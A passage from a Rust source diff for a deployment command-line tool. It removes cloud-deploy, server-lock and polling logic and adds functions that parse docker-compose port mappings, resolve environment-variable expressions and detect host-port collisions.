-                             Fix the connection or remove the 'server' section to provision a new cloud server.",
-                            server_cfg.host,
-                            check.error.as_deref().unwrap_or("unknown error")
-                        ),
-                    });
-                }
-                None => {
-                    // Could not perform SSH check (missing key, etc.) — warn and abort
-                    eprintln!("  ⚠ Could not verify server connectivity (see above).");
-                    eprintln!("    Remove the 'server' section from stacker.yml to provision a new cloud server,");
-                    eprintln!("    or fix the SSH key configuration and retry.");
-                    return Err(CliError::DeployFailed {
-                        target: DeployTarget::Cloud,
-                        reason: format!(
-                            "deploy.server section defines host {} but SSH connectivity check could not be performed. \
-                             Fix the SSH key or remove the 'server' section to provision a new cloud server.",
-                            server_cfg.host
-                        ),
-                    });
-                }
-            }
-        } else if DeploymentLock::exists_for_target(project_dir, "cloud") || DeploymentLock::exists(project_dir) {
-            // No deploy.server in config, but a lockfile exists from a prior deploy.
-            // Auto-inject the server name so the cloud deploy API reuses the same server.
-            if let Ok(Some(lock)) = DeploymentLock::load_for_target(project_dir, "cloud") {
-                if let Some(ref name) = lock.server_name {
-                    eprintln!("  ℹ Found previous cloud deployment (server='{}') — reusing server", name);
-                    eprintln!("    To provision a new server instead: stacker deploy --force-new");
-                    lock_server_name = Some(name.clone());
-                } else if let Some(ref ip) = lock.server_ip {
-                    if ip != "127.0.0.1" {
-                        eprintln!("  ℹ Found previous deployment to {} (from deployment lock)", ip);
-                        eprintln!("    Server name unknown — cannot auto-reuse. Run: stacker config lock");
-                        eprintln!("    To provision a new server instead:   stacker deploy --force-new");
-                    }
-                }
-            }
+fn merge_compose_public_ports_into_app_config(
+    config: &mut StackerConfig,
+    compose_path: &Path,
+    env_lookup: &std::collections::BTreeMap<String, String>,
+) -> Result<(), CliError> {
+    let compose_ports = extract_compose_public_port_specs(compose_path, env_lookup)?;
+    if compose_ports.is_empty() {
+        return Ok(());
+    }
+
+    let mut seen = std::collections::BTreeSet::new();
+    let mut merged = Vec::new();
+
+    for port in &config.app.ports {
+        if seen.insert(port.clone()) {
+            merged.push(port.clone());
         }
     }
 
-    // 3. Cloud/server prerequisites — verify login and keep credentials for later use.
-    let cloud_creds = if deploy_target == DeployTarget::Cloud {
-        let cred_manager = CredentialsManager::with_default_store();
-        Some(cred_manager.require_valid_token("cloud deploy")?)
-    } else {
-        None
-    };
+    for port in compose_ports {
+        if seen.insert(port.clone()) {
+            merged.push(port);
+        }
+    }
 
-    // 3b. If cloud target but no cloud section in stacker.yml, prompt to select a saved credential.
-    if deploy_target == DeployTarget::Cloud && config.deploy.cloud.is_none() {
-        let access_token = &cloud_creds
-            .as_ref()
-            .expect("cloud_creds should be set when deploy_target is Cloud (verified in step 3)")
-            .access_token;
+    config.app.ports = merged;
+    Ok(())
+}
 
-        match prompt_select_cloud(access_token)? {
-            Some(cloud_info) => {
-                // Map the provider code to a CloudProvider enum value.
-                let provider = cloud_provider_from_code(&cloud_info.provider)
-                    .ok_or_else(|| CliError::ConfigValidation(format!(
-                        "Unrecognised cloud provider '{}' for credential '{}'. \
-                         Supported providers: hetzner (htz), digitalocean (do), aws, linode (lo), vultr (vu).",
-                        cloud_info.provider, cloud_info.name
-                    )))?;
+fn extract_compose_public_port_specs(
+    compose_path: &Path,
+    env_lookup: &std::collections::BTreeMap<String, String>,
+) -> Result<Vec<String>, CliError> {
+    let raw = std::fs::read_to_string(compose_path).map_err(|err| {
+        CliError::ConfigValidation(format!(
+            "Failed to read compose file {}: {}",
+            compose_path.display(),
+            err
+        ))
+    })?;
+    let doc: serde_yaml::Value = serde_yaml::from_str(&raw).map_err(|err| {
+        CliError::ConfigValidation(format!(
+            "Failed to parse compose file {}: {}",
+            compose_path.display(),
+            err
+        ))
+    })?;
 
-                eprintln!(
-                    "  Selected cloud credential: {} (id={}, provider={})",
-                    cloud_info.name, cloud_info.id, cloud_info.provider
-                );
+    let services = doc
+        .as_mapping()
+        .and_then(|root| root.get(serde_yaml::Value::String("services".to_string())))
+        .and_then(serde_yaml::Value::as_mapping);
 
-                // Apply the selected cloud to the in-memory config.
-                config.deploy.target = DeployTarget::Cloud;
-                config.deploy.cloud = Some(CloudConfig {
-                    provider,
-                    orchestrator: CloudOrchestrator::Remote,
-                    region: None,
-                    size: None,
-                    install_image: None,
-                    remote_payload_file: None,
-                    ssh_key: None,
-                    key: Some(cloud_info.name.clone()),
-                    server: None,
-                });
+    let Some(services) = services else {
+        return Ok(Vec::new());
+    };
 
-                // Persist the selection to stacker.yml so subsequent deploys
-                // do not prompt again.
-                if config_path.exists() {
-                    let yaml = serde_yaml::to_string(&config).map_err(|e| {
-                        CliError::ConfigValidation(format!(
-                            "Failed to serialize updated config: {}",
-                            e
-                        ))
-                    })?;
-                    std::fs::write(&config_path, yaml)?;
-                    eprintln!(
-                        "  ✓ Updated {} with deploy.cloud.key={}",
-                        config_path.display(),
-                        cloud_info.name
-                    );
+    let mut seen = std::collections::BTreeSet::new();
+    let mut ports = Vec::new();
+
+    for service_value in services.values() {
+        let Some(service_map) = service_value.as_mapping() else {
+            continue;
+        };
+        let Some(port_values) = service_map
+            .get(serde_yaml::Value::String("ports".to_string()))
+            .and_then(serde_yaml::Value::as_sequence)
+        else {
+            continue;
+        };
+
+        for port_value in port_values {
+            if let Some(spec) = compose_public_port_spec(port_value, env_lookup) {
+                if seen.insert(spec.clone()) {
+                    ports.push(spec);
                 }
             }
-            None => {
-                // User chose "Connect a new cloud provider"
-                eprintln!();
-                eprintln!("  To connect a new cloud provider, export your API token and redeploy:");
-                eprintln!("    Hetzner:      HCLOUD_TOKEN=<token>  stacker deploy --target cloud");
-                eprintln!("    DigitalOcean: DO_API_TOKEN=<token>  stacker deploy --target cloud");
-                eprintln!("    Linode:       LINODE_TOKEN=<token>  stacker deploy --target cloud");
-                eprintln!("    Vultr:        VULTR_API_KEY=<key>   stacker deploy --target cloud");
-                eprintln!("    AWS:          AWS_ACCESS_KEY_ID=<key> AWS_SECRET_ACCESS_KEY=<secret>  stacker deploy --target cloud");
-                eprintln!();
-                eprintln!("  Or configure manually with: stacker config setup cloud");
-                eprintln!();
-                return Err(CliError::CloudProviderMissing);
-            }
         }
     }
 
-    // 4. Validate via strategy
-    let strategy = strategy_for(&deploy_target);
-    strategy.validate(&config)?;
+    Ok(ports)
+}
 
-    // 5. Generate artifacts into .stacker/
-    let output_dir = project_dir.join(OUTPUT_DIR);
-    std::fs::create_dir_all(&output_dir)?;
+fn compose_public_port_spec(
+    port_value: &serde_yaml::Value,
+    env_lookup: &std::collections::BTreeMap<String, String>,
+) -> Option<String> {
+    match port_value {
+        serde_yaml::Value::String(spec) => short_compose_public_port_spec(spec, env_lookup),
+        serde_yaml::Value::Mapping(mapping) => long_compose_public_port_spec(mapping, env_lookup),
+        _ => None,
+    }
+}
 
-    // 5a. Dockerfile
-    let needs_dockerfile = config.app.image.is_none() && config.app.dockerfile.is_none();
-    let dockerfile_path = output_dir.join("Dockerfile");
+fn long_compose_public_port_spec(
+    mapping: &serde_yaml::Mapping,
+    env_lookup: &std::collections::BTreeMap<String, String>,
+) -> Option<String> {
+    let host_ip = yaml_scalar_as_string(mapping, "host_ip")
+        .map(|value| resolve_compose_port_env(&value, env_lookup));
+    if host_ip
+        .as_deref()
+        .is_some_and(|value| !is_public_compose_host_ip(value))
+    {
+        return None;
+    }
 
-    if needs_dockerfile {
-        if force_rebuild || !dockerfile_path.exists() {
-            let builder = DockerfileBuilder::from(config.app.app_type);
-            builder.write_to(&dockerfile_path, force_rebuild)?;
-        } else {
-            eprintln!("  Using existing {}/Dockerfile (use --force-rebuild to regenerate)", OUTPUT_DIR);
-        }
+    let protocol = yaml_scalar_as_string(mapping, "protocol")
+        .unwrap_or_else(|| "tcp".to_string())
+        .to_ascii_lowercase();
+    if protocol != "tcp" {
+        return None;
     }
 
-    // 5b. docker-compose.yml
-    let compose_path = if let Some(ref existing) = config.deploy.compose_file {
-        let configured_path = project_dir.join(existing);
-        if configured_path.exists() {
-            configured_path
-        } else {
-            let generated_fallback = output_dir.join("docker-compose.yml");
-            if generated_fallback.exists() {
-                eprintln!(
-                    "  Configured compose file not found: {}. Falling back to {}",
-                    configured_path.display(),
-                    generated_fallback.display()
-                );
-                generated_fallback
-            } else {
-                return Err(CliError::ConfigValidation(format!(
-                    "Compose file not found: {}",
-                    configured_path.display()
-                )));
-            }
-        }
-    } else {
-        let compose_out = output_dir.join("docker-compose.yml");
-        if force_rebuild || !compose_out.exists() {
-            let compose = ComposeDefinition::try_from(&config)?;
-            compose.write_to(&compose_out, force_rebuild)?;
-        } else {
-            eprintln!("  Using existing {}/docker-compose.yml (use --force-rebuild to regenerate)", OUTPUT_DIR);
-        }
-        compose_out
+    let published = yaml_scalar_as_string(mapping, "published")
+        .map(|value| resolve_compose_port_env(&value, env_lookup))?;
+    let target = yaml_scalar_as_string(mapping, "target")
+        .map(|value| resolve_compose_port_env(&value, env_lookup))?;
+
+    format_compose_public_port_spec(&published, &target)
+}
+
+fn short_compose_public_port_spec(
+    spec: &str,
+    env_lookup: &std::collections::BTreeMap<String, String>,
+) -> Option<String> {
+    let resolved = resolve_compose_port_env(spec.trim(), env_lookup);
+    let without_protocol = match resolved.rsplit_once('/') {
+        Some((port_spec, protocol)) if protocol.eq_ignore_ascii_case("tcp") => port_spec,
+        Some(_) => return None,
+        None => resolved.as_str(),
     };
 
-    normalize_generated_compose_paths(&compose_path)?;
+    let (host_ip, host_port, container_port) = split_short_compose_port_spec(without_protocol)?;
+    if host_ip.is_some_and(|value| !is_public_compose_host_ip(&value)) {
+        return None;
+    }
 
-    // 5b.1 Surface build source paths to avoid confusion.
-    if let Some(image) = &config.app.image {
-        eprintln!("  App image source: image={} (no local Dockerfile build)", image);
-    } else if let Some(build_src) = compose_app_build_source(&compose_path) {
-        eprintln!("  App build source: {}", build_src);
-    } else if let Some(dockerfile) = &config.app.dockerfile {
-        let dockerfile_display = if dockerfile.is_absolute() {
-            dockerfile.display().to_string()
-        } else {
-            project_dir.join(dockerfile).display().to_string()
-        };
-        eprintln!("  App build source: Dockerfile={}", dockerfile_display);
-    } else {
-        eprintln!("  App build source: Dockerfile={}", dockerfile_path.display());
+    format_compose_public_port_spec(&host_port, &container_port)
+}
+
+fn split_short_compose_port_spec(spec: &str) -> Option<(Option<String>, String, String)> {
+    let trimmed = spec.trim();
+    if trimmed.is_empty() {
+        return None;
     }
-    eprintln!("  Compose file: {}", compose_path.display());
 
-    // 5c. Report hooks (dry-run)
-    if dry_run {
-        if let Some(ref pre_build) = config.hooks.pre_build {
-            eprintln!("  Hook (pre_build): {}", pre_build.display());
+    let parts = split_compose_port_parts(trimmed);
+    match parts.len() {
+        0 | 1 => None,
+        2 => Some((None, parts[0].clone(), parts[1].clone())),
+        _ => {
+            let host_ip = parts[..parts.len() - 2].join(":");
+            Some((
+                Some(host_ip),
+                parts[parts.len() - 2].clone(),
+                parts[parts.len() - 1].clone(),
+            ))
         }
     }
+}
 
-    // 6. Deploy
-    let context = DeployContext {
-        config_path: config_path.clone(),
-        compose_path: compose_path.clone(),
-        project_dir: project_dir.to_path_buf(),
-        dry_run,
-        image: config
-            .deploy
-            .cloud
-            .as_ref()
-            .and_then(|cloud| cloud.install_image.clone()),
-        project_name_override: remote_overrides.project_name.clone(),
-        key_name_override: remote_overrides.key_name.clone(),
-        key_id_override: remote_overrides.key_id,
-        server_name_override: remote_overrides
-            .server_name
-            .clone()
-            .or(lock_server_name),
-        runtime: runtime.to_string(),
-    };
+fn split_compose_port_parts(spec: &str) -> Vec<String> {
+    let trimmed = spec.trim();
+    if let Some(rest) = trimmed.strip_prefix('[') {
+        if let Some(closing) = rest.find(']') {
+            let host_ip = &rest[..closing];
+            let after_bracket = rest[closing + 1..].trim_start_matches(':');
+            let mut parts = vec![host_ip.to_string()];
+            parts.extend(after_bracket.split(':').map(ToOwned::to_owned));
+            return parts;
+        }
+    }
 
-    let result = strategy.deploy(&config, &context, executor)?;
+    trimmed.split(':').map(ToOwned::to_owned).collect()
+}
 
-    Ok(result)
+fn yaml_scalar_as_string(mapping: &serde_yaml::Mapping, key: &str) -> Option<String> {
+    mapping
+        .get(serde_yaml::Value::String(key.to_string()))
+        .and_then(|value| match value {
+            serde_yaml::Value::String(value) => Some(value.clone()),
+            serde_yaml::Value::Number(value) => Some(value.to_string()),
+            _ => None,
+        })
 }
 
-impl CallableTrait for DeployCommand {
-    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
-        let project_dir = std::env::current_dir()?;
-        let executor = ShellExecutor;
+fn format_compose_public_port_spec(host_port: &str, container_port: &str) -> Option<String> {
+    let host_port = host_port.trim();
+    let container_port = container_port.trim();
 
-        // Build remote overrides from CLI flags
-        let remote_overrides = RemoteDeployOverrides {
-            project_name: self.project_name.clone(),
-            key_name: self.key_name.clone(),
-            key_id: self.key_id,
-            server_name: self.server_name.clone(),
-        };
+    if !is_valid_tcp_port(host_port) || !is_valid_tcp_port(container_port) {
+        return None;
+    }
 
-        // ── Spinner while deploying ──────────────────
-        let spin = progress::deploy_spinner("starting...");
+    Some(format!("{}:{}", host_port, container_port))
+}
 
-        let result = run_deploy(
-            &project_dir,
-            self.file.as_deref(),
-            self.target.as_deref(),
-            self.dry_run,
-            self.force_rebuild,
-            self.force_new,
-            &executor,
-            &remote_overrides,
-            &self.runtime,
-        );
+fn is_valid_tcp_port(value: &str) -> bool {
+    value
+        .parse::<u16>()
+        .is_ok_and(|port| (1..=65535).contains(&port))
+}
 
-        let result = match result {
-            Ok(result) => {
-                progress::finish_success(&spin, &result.message);
-                result
-            }
-            Err(err) => {
-                progress::finish_error(&spin, &format!("{}", err));
-                if let CliError::LoginRequired { .. } = &err {
-                    eprintln!("\nHint: run `stacker login` and retry deploy.");
-                }
-                print_ai_deploy_help(&project_dir, self.file.as_deref(), &err);
-                return Err(Box::new(err));
-            }
-        };
+fn is_public_compose_host_ip(value: &str) -> bool {
+    let normalized = value
+        .trim()
+        .trim_matches('"')
+        .trim_matches('\'')
+        .trim_start_matches('[')
+        .trim_end_matches(']');
 
-        if let Some(ip) = &result.server_ip {
-            eprintln!("  Server IP: {}", ip);
-        }
+    matches!(normalized, "" | "0.0.0.0" | "::" | "*")
+}
 
-        // ── Post-deploy progress tracking ────────────
-        if self.dry_run {
-            return Ok(());
-        }
-
-        // Resolve whether to watch: explicit flag > auto-detect
-        let should_watch = self.watch.unwrap_or_else(|| {
-            // Auto: watch for cloud remote deploys, health-check for local
-            matches!(result.target, DeployTarget::Cloud | DeployTarget::Server)
-                && (result.deployment_id.is_some() || result.project_id.is_some())
-        });
-
-        match result.target {
-            DeployTarget::Local => {
-                // Always do a quick health check for local deploy unless --no-watch
-                if self.watch != Some(false) {
-                    watch_local_containers(&project_dir, self.file.as_deref())?;
-                }
-            }
-            DeployTarget::Cloud if should_watch => {
-                watch_cloud_deployment(&result)?;
-            }
-            _ => {}
-        }
-
-        // ── Deployment lock: persist deployment context ──
-        self.save_deployment_lock(&project_dir, &result)?;
+fn resolve_compose_port_env(
+    value: &str,
+    env_lookup: &std::collections::BTreeMap<String, String>,
+) -> String {
+    let mut result = String::with_capacity(value.len());
+    let mut rest = value;
+
+    while let Some(start) = rest.find("${") {
+        result.push_str(&rest[..start]);
+        let after_start = &rest[start + 2..];
+        let Some(end) = after_start.find('}') else {
+            result.push_str(&rest[start..]);
+            return result;
+        };
 
-        Ok(())
+        let expression = &after_start[..end];
+        result.push_str(&resolve_compose_port_env_expression(expression, env_lookup));
+        rest = &after_start[end + 1..];
     }
+
+    result.push_str(rest);
+    result
 }
 
-impl DeployCommand {
-    /// Save deployment context to `.stacker/deployment.lock` after a successful deploy.
-    ///
-    /// For cloud deploys, tries to fetch the provisioned server's details from the
-    /// Stacker API (IP, SSH user/port, server name) so that subsequent deploys can
-    /// target the same server via the smart pre-check.
-    ///
-    /// When `--lock` is set, also writes the server details into `stacker.yml`.
-    fn save_deployment_lock(
-        &self,
-        project_dir: &Path,
-        result: &DeployResult,
-    ) -> Result<(), Box<dyn std::error::Error>> {
-        // Build the initial lock from the deploy result
-        let mut lock = match result.target {
-            DeployTarget::Local => DeploymentLock::for_local(),
-            DeployTarget::Server => {
-                // For server deploys, read server config from stacker.yml
-                let config_path = match &self.file {
-                    Some(f) => project_dir.join(f),
-                    None => project_dir.join(DEFAULT_CONFIG_FILE),
-                };
-                if let Ok(config) = StackerConfig::from_file(&config_path) {
-                    if let Some(ref server_cfg) = config.deploy.server {
-                        DeploymentLock::for_server(server_cfg)
-                    } else {
-                        DeploymentLock::from_result(result)
-                    }
-                } else {
-                    DeploymentLock::from_result(result)
-                }
-            }
-            DeployTarget::Cloud => {
-                let mut l = DeploymentLock::from_result(result)
-                    .with_project_name(self.project_name.clone());
+fn resolve_compose_port_env_expression(
+    expression: &str,
+    env_lookup: &std::collections::BTreeMap<String, String>,
+) -> String {
+    for separator in [":-", "-"] {
+        if let Some((name, fallback)) = expression.split_once(separator) {
+            return env_lookup
+                .get(name)
+                .filter(|value| !value.is_empty() || separator == "-")
+                .cloned()
+                .unwrap_or_else(|| fallback.to_string());
+        }
+    }
 
-                // If no --project flag, try to get the project name from config
-                if l.project_name.is_none() {
-                    let config_path = match &self.file {
-                        Some(f) => project_dir.join(f),
-                        None => project_dir.join(DEFAULT_CONFIG_FILE),
-                    };
-                    if let Ok(config) = StackerConfig::from_file(&config_path) {
-                        // Prefer project.identity as the registered name, fall back to config name
-                        let name = config
-                            .project
-                            .identity
-                            .filter(|s| !s.is_empty())
-                            .unwrap_or(config.name);
-                        l = l.with_project_name(Some(name));
-                    }
-                }
+    env_lookup.get(expression).cloned().unwrap_or_default()
+}
 
-                // Try to fetch provisioned server details from the Stacker API
-                if let Some(project_id) = result.project_id {
-                    match fetch_server_for_project(project_id as i32) {
-                        Ok(Some(info)) => {
-                            l = l.with_server_info(
-                                info.srv_ip.clone(),
-                                info.ssh_user.clone(),
-                                info.ssh_port.map(|p| p as u16),
-                                info.name.clone(),
-                                info.cloud_id,
-                            );
-                            if let Some(ref ip) = info.srv_ip {
-                                eprintln!("  Server details: {} ({}@{}:{})",
-                                    info.name.as_deref().unwrap_or("unnamed"),
-                                    info.ssh_user.as_deref().unwrap_or("root"),
-                                    ip,
-                                    info.ssh_port.unwrap_or(22),
-                                );
-                            }
-                        }
-                        Ok(None) => {
-                            eprintln!("  ℹ Server details not yet available (may still be provisioning).");
-                        }
-                        Err(e) => {
-                            eprintln!("  ⚠ Could not fetch server details: {}", e);
-                        }
-                    }
-                }
+fn resolve_compose_image_reference(
+    value: &str,
+    vars: &std::collections::BTreeMap<String, String>,
+) -> Result<String, String> {
+    let mut output = String::new();
+    let mut cursor = 0usize;
 
-                // Fallback: if the API fetch didn't populate server_name,
-                // use the name from the deploy form so subsequent deploys
-                // can still find and reuse the server.
-                if l.server_name.is_none() {
-                    if let Some(ref name) = result.server_name {
-                        l.server_name = Some(name.clone());
-                    }
-                }
+    while let Some(relative_start) = value[cursor..].find("${") {
+        let start = cursor + relative_start;
+        output.push_str(&value[cursor..start]);
 
-                l
-            }
+        let expr_start = start + 2;
+        let Some(relative_end) = value[expr_start..].find('}') else {
+            return Err(format!("unterminated variable expression in '{}'", value));
         };
+        let end = expr_start + relative_end;
+        let expr = &value[expr_start..end];
+        output.push_str(&resolve_compose_variable_expression(expr, vars)?);
+        cursor = end + 1;
+    }
 
-        // Always set project_name if available from CLI flag
-        if self.project_name.is_some() {
-            lock = lock.with_project_name(self.project_name.clone());
-        }
+    output.push_str(&value[cursor..]);
+    let trimmed = output.trim();
+    if trimmed.is_empty() {
+        Err(format!(
+            "image reference '{}' resolved to an empty value",
+            value
+        ))
+    } else {
+        Ok(trimmed.to_string())
+    }
+}
 
-        // Save lockfile
-        match lock.save(project_dir) {
-            Ok(path) => {
-                eprintln!("  Deployment context saved to {}", path.display());
-            }
-            Err(e) => {
-                eprintln!("  ⚠ Failed to save deployment lock: {}", e);
-            }
-        }
+fn resolve_compose_variable_expression(
+    expr: &str,
+    vars: &std::collections::BTreeMap<String, String>,
+) -> Result<String, String> {
+    if let Some((name, fallback)) = expr.split_once(":-") {
+        return match vars.get(name) {
+            Some(value) if !value.is_empty() => Ok(value.clone()),
+            _ => Ok(fallback.to_string()),
+        };
+    }
 
-        // If --lock flag is set, also update stacker.yml with server details
-        if self.lock {
-            let config_path = match &self.file {
-                Some(f) => project_dir.join(f),
-                None => project_dir.join(DEFAULT_CONFIG_FILE),
-            };
+    if let Some((name, fallback)) = expr.split_once('-') {
+        return match vars.get(name) {
+            Some(value) => Ok(value.clone()),
+            None => Ok(fallback.to_string()),
+        };
+    }
 
-            if lock.server_ip.is_some()
-                && lock.server_ip.as_deref() != Some("127.0.0.1")
-            {
-                match StackerConfig::from_file(&config_path) {
-                    Ok(mut config) => {
-                        lock.apply_to_config(&mut config);
-                        match DeploymentLock::write_config(&config, &config_path) {
-                            Ok(()) => {
-                                eprintln!("  ✓ stacker.yml updated with server details (backup: stacker.yml.bak)");
-                                eprintln!("    Next deploy will target this server directly.");
-                            }
-                            Err(e) => {
-                                eprintln!("  ⚠ Failed to update stacker.yml: {}", e);
-                                eprintln!("    Run `stacker config lock` to retry.");
-                            }
-                        }
-                    }
-                    Err(e) => {
-                        eprintln!("  ⚠ Failed to read stacker.yml for update: {}", e);
-                    }
-                }
+    if let Some((name, message)) = expr.split_once(":?") {
+        return match vars.get(name) {
+            Some(value) if !value.is_empty() => Ok(value.clone()),
+            _ => Err(if message.is_empty() {
+                format!("required variable {} is not set", name)
             } else {
-                eprintln!("  ℹ --lock: No remote server details to persist (local deploy or server IP not yet available).");
-                eprintln!("    Run `stacker config lock` after the server is provisioned.");
-            }
-        }
+                message.to_string()
+            }),
+        };
+    }
 
-        Ok(())
+    if let Some((name, message)) = expr.split_once('?') {
+        return match vars.get(name) {
+            Some(value) => Ok(value.clone()),
+            None => Err(if message.is_empty() {
+                format!("required variable {} is not set", name)
+            } else {
+                message.to_string()
+            }),
+        };
     }
+
+    vars.get(expr)
+        .cloned()
+        .ok_or_else(|| format!("variable {} is not set", expr))
 }
 
-// ── Fetch server details from Stacker API by project ID ──
+fn extract_published_host_port(port: &serde_yaml::Value) -> Option<String> {
+    match port {
+        serde_yaml::Value::String(spec) => extract_host_port_from_string(spec),
+        serde_yaml::Value::Mapping(m) => {
+            let published_key = serde_yaml::Value::String("published".to_string());
+            m.get(&published_key).and_then(|value| match value {
+                serde_yaml::Value::String(s) => Some(s.clone()),
+                serde_yaml::Value::Number(n) => Some(n.to_string()),
+                _ => None,
+            })
+        }
+        _ => None,
+    }
+}
 
-/// After a cloud deploy completes, look up the provisioned server's details
-/// (IP, SSH user, port, name) from the Stacker server API.
-///
-/// First polls the deployment status until it reaches a terminal state (or a
-/// timeout is reached), then retries fetching the server IP — because the IP
-/// may be assigned a few seconds after the deployment status flips to
-/// "completed".
-fn fetch_server_for_project(
-    project_id: i32,
-) -> Result<Option<stacker_client::ServerInfo>, Box<dyn std::error::Error>> {
-    use std::time::Duration;
+fn extract_host_port_from_string(spec: &str) -> Option<String> {
+    let trimmed = spec.trim();
+    if trimmed.is_empty() {
+        return None;
+    }
 
-    let cred_manager = CredentialsManager::with_default_store();
-    let creds = cred_manager.require_valid_token("server lookup")?;
+    let protocol = trimmed
+        .rsplit_once('/')
+        .map(|(_, proto)| proto.trim().to_lowercase());
+    let without_protocol = trimmed.split('/').next().unwrap_or(trimmed);
+    let parts: Vec<&str> = without_protocol.split(':').collect();
 
-    let base_url = crate::cli::install_runner::normalize_stacker_server_url(
-        stacker_client::DEFAULT_STACKER_URL,
-    );
+    if parts.len() < 2 {
+        return None;
+    }
 
-    let rt = tokio::runtime::Builder::new_current_thread()
-        .enable_all()
-        .build()?;
+    let mut result = parts
+        .get(parts.len().saturating_sub(2))
+        .map(|part| part.trim().to_string())
+        .filter(|part| !part.is_empty())?;
 
-    rt.block_on(async {
-        let client = StackerClient::new(&base_url, &creds.access_token);
+    if let Some(proto) = protocol {
+        result.push_str(&format!("/{}", proto));
+    }
 
-        // Phase 1: wait for the deployment to reach a terminal state.
-        // The watch_cloud_deployment may have timed out, so the deployment
-        // could still be running.  We give it another 10 minutes here.
-        let deploy_poll = Duration::from_secs(10);
-        let deploy_timeout = Duration::from_secs(600);
-        let deploy_start = std::time::Instant::now();
+    Some(result)
+}
 
-        loop {
-            match client.get_deployment_status_by_project(project_id).await {
-                Ok(Some(info)) if is_terminal(&info.status) => {
-                    if info.status != "completed" {
-                        eprintln!(
-                            "  Deployment #{} finished with status '{}' — server IP may not be available.",
-                            info.id, info.status
-                        );
-                    }
-                    break;
-                }
-                Ok(Some(info)) => {
-                    if deploy_start.elapsed() > deploy_timeout {
-                        eprintln!(
-                            "  Deployment #{} still '{}' after extended wait — saving what we have.",
-                            info.id, info.status
-                        );
-                        break;
-                    }
-                    eprintln!(
-                        "  Deployment still in progress ({}), waiting for IP...",
-                        info.status_message
-                            .as_deref()
-                            .unwrap_or(&info.status),
-                    );
-                    tokio::time::sleep(deploy_poll).await;
-                }
-                _ => break, // no deployment info available
+/// Detect host-port collisions between stacker.yml `services:` and a user-supplied compose file.
+///
+/// `config_with_compose_secret_target_services` merges compose services into the config by name,
+/// so two services with different names but the same host port will both survive the merge and
+/// cause Docker to fail at runtime.  This check catches that case locally before any remote
+/// operation is attempted.
+fn validate_cross_source_port_collisions(
+    config: &crate::cli::config_parser::StackerConfig,
+    compose_path: &Path,
+) -> Result<(), CliError> {
+    // Collect host-port → service-name mapping from stacker.yml services (and app).
+    let mut stacker_port_owners: std::collections::BTreeMap<String, String> =
+        std::collections::BTreeMap::new();
+    for svc in &config.services {
+        for spec in &svc.ports {
+            if let Some(port) = extract_host_port_from_string(spec) {
+                stacker_port_owners
+                    .entry(port)
+                    .or_insert_with(|| svc.name.clone());
             }
         }
+    }
+    for spec in &config.app.ports {
+        if let Some(port) = extract_host_port_from_string(spec) {
+            stacker_port_owners
+                .entry(port)
+                .or_insert_with(|| "app".to_string());
+        }
+    }
 
-        // Phase 2: deployment is terminal (or timed out) — poll for the server IP.
-        let ip_retries = 6;
-        let ip_delay = Duration::from_secs(10);
+    if stacker_port_owners.is_empty() {
+        return Ok(());
+    }
 
-        for attempt in 0..ip_retries {
-            let servers = client.list_servers().await?;
+    // Parse the compose file and look for the same host ports.
+    let raw = std::fs::read_to_string(compose_path)?;
+    let doc: serde_yaml::Value = serde_yaml::from_str(&raw)
+        .map_err(|e| CliError::ConfigValidation(format!("Failed to parse compose file: {e}")))?;
 
-            let server = servers
-                .into_iter()
-                .find(|s| s.project_id == project_id);
+    let root = match doc {
+        serde_yaml::Value::Mapping(m) => m,
+        _ => return Ok(()),
+    };
 
-            match server {
-                Some(ref s) if s.srv_ip.is_some() => {
-                    return Ok(server);
-                }
-                Some(_) if attempt < ip_retries - 1 => {
-                    eprintln!(
-                        "  Server found but IP not yet assigned (attempt {}/{}), retrying in {}s...",
-                        attempt + 1,
-                        ip_retries,
-                        ip_delay.as_secs(),
-                    );
-                    tokio::time::sleep(ip_delay).await;
-                }
-                Some(s) => {
-                    return Ok(Some(s));
-                }
-                None if attempt < ip_retries - 1 => {
-                    eprintln!(
-                        "  No server found for project {} (attempt {}/{}), retrying in {}s...",
-                        project_id,
-                        attempt + 1,
-                        ip_retries,
-                        ip_delay.as_secs(),
-                    );
-                    tokio::time::sleep(ip_delay).await;
-                }
-                None => {
-                    return Ok(None);
+    let services_key = serde_yaml::Value::String("services".to_string());
+    let services = match root.get(&services_key) {
+        Some(serde_yaml::Value::Mapping(m)) => m,
+        _ => return Ok(()),
+    };
+
+    let mut collisions: Vec<String> = Vec::new();
+    for (svc_key, svc_val) in services {
+        let compose_svc = svc_key.as_str().unwrap_or("<unknown>");
+        let svc_map = match svc_val {
+            serde_yaml::Value::Mapping(m) => m,
+            _ => continue,
+        };
+        let ports_key = serde_yaml::Value::String("ports".to_string());
+        let Some(serde_yaml::Value::Sequence(ports)) = svc_map.get(&ports_key) else {
+            continue;
+        };
+        for port in ports {
+            if let Some(host_port) = extract_published_host_port(port) {
+                if let Some(stacker_svc) = stacker_port_owners.get(&host_port) {
+                    collisions.push(format!(
+                        "port {} is used by '{}' in stacker.yml and '{}' in {}",
+                        host_port,
+                        stacker_svc,
+                        compose_svc,
+                        compose_path.display(),
+                    ));
                 }
             }
         }
+    }
 
-        Ok(None)
-    })
-}
-
-// ── Local container health-check after `docker compose up` ───
+    if collisions.is_empty() {
+        Ok(())
+    } else {
+        Err(CliError::ConfigValidation(format!(
+            "Host-port collision between stacker.yml services and compose file — \
+             both sources will be deployed together but share the same host port(s): {}. \
+             Remove the duplicate service from one of the two files.",
+            collisions.join("; ")
+        )))
+    }
+}
 
-/// Poll `docker compose ps` until all containers are running/healthy
-/// or a timeout is reached.
-fn watch_local_containers(
-    project_dir: &Path,
-    config_file: Option<&str>,
-) -> Result<(), Box<dyn std::error::Error>> {
-    use std::time::{Duration, Instant};
+fn compose_app_build_source(compose_path: &Path) -> Option<String> {
+    let raw = std::fs::read_to_string(compose_path).ok()?;
+    let doc: serde_yaml::Value = serde_yaml::from_str(&raw).ok()?;
 
-    let compose_path = {
-        let output_dir = project_dir.join(OUTPUT_DIR);
-        let config_path = match config_file {
-            Some(f) => project_dir.join(f),
-            None => project_dir.join(DEFAULT_CONFIG_FILE),
-        };
-        // Try to read compose_file from config; fall back to .stacker/docker-compose.yml
-        if let Ok(config) = StackerConfig::from_file(&config_path) {
-            if let Some(ref existing) = config.deploy.compose_file {
-                let p = project_dir.join(existing);
-                if p.exists() { p } else { output_dir.join("docker-compose.yml") }
-            } else {
-                output_dir.join("docker-compose.yml")
-            }
-        } else {
-            output_dir.join("docker-compose.yml")
-        }
+    let root = match doc {
